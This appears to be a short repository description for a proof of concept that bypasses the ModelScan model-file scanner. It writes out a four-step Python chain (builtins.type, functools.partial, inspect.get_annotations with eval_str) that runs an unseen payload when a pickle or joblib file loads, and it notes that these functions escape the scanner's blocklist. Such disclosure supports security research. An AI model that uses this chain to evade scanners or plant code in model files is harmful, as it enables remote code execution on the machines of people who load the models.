xiaoyaoes/modelscan-inspect-bypass-poc

ModelScan Bypass PoC: inspect.get_annotations() + functools.partial() + builtins.type()

This bypass uses a 4-step chain of completely unblocked standard library functions:

ns = {"__annotations__": {"x": PAYLOAD}}
cls = builtins.type("X", (), ns)                 # type ∉ blocklist ✅
p = functools.partial(get_annotations, eval_str=True)  # functools, inspect ∉ blocklist ✅
p(cls)  # → eval(PAYLOAD) → REMOTE CODE EXECUTION

Size: 214 bytes (.pkl) / 235 bytes (.joblib)